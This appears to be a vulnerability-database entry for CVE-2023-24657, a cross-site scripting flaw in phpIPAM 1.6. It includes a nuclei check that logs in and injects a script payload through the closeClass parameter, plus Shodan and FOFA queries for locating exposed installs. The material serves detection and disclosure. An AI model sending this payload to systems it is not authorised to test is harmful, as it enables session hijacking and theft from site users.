HexBrain

Browse / CVEs / CVE-2023-24657

CVE-2023-24657· phpipam / phpipam· CWE-79

phpIPAM - 1.6 - Cross-Site Scripting

mediumseverity
6.1CVSS score
3.9%likelihood of exploitation, next 30 days
90%of all CVEs are less likely
Readycheck to confirm it

phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /app/login/login_check.php ; GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")

Run it with nuclei: nuclei -id CVE-2023-24657 -u <target>

The full check
id: CVE-2023-24657

info:
  name: phpIPAM - 1.6 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    phpIPAM 1.6 contains a cross-site scripting vulnerability via the closeClass parameter at /subnet-masks/popup.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of phpIPAM or apply the necessary security patches provided by the vendor.
  reference:
    - https://github.com/phpipam/phpipam/issues/3738
    - https://nvd.nist.gov/vuln/detail/CVE-2023-24657
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-24657
    cwe-id: CWE-79
    epss-score: 0.03904
    epss-percentile: 0.90362
    cpe: cpe:2.3:a:phpipam:phpipam:1.6:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: phpipam
    product: phpipam
    shodan-query:
      - html:"phpIPAM IP address management"
      - http.html:"phpipam ip address management"
    fofa-query: body="phpipam ip address management"
  tags: cve2023,cve,xss,phpipam,authenticated,vuln

http:
  - raw:
      - |
        POST /app/login/login_check.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ipamusername={{username}}&ipampassword={{password}}
      - |
        GET /app/tools/subnet-masks/popup.php?closeClass=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "<script>alert(document.domain)</script>") && contains(body_2, "Subnet masks")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from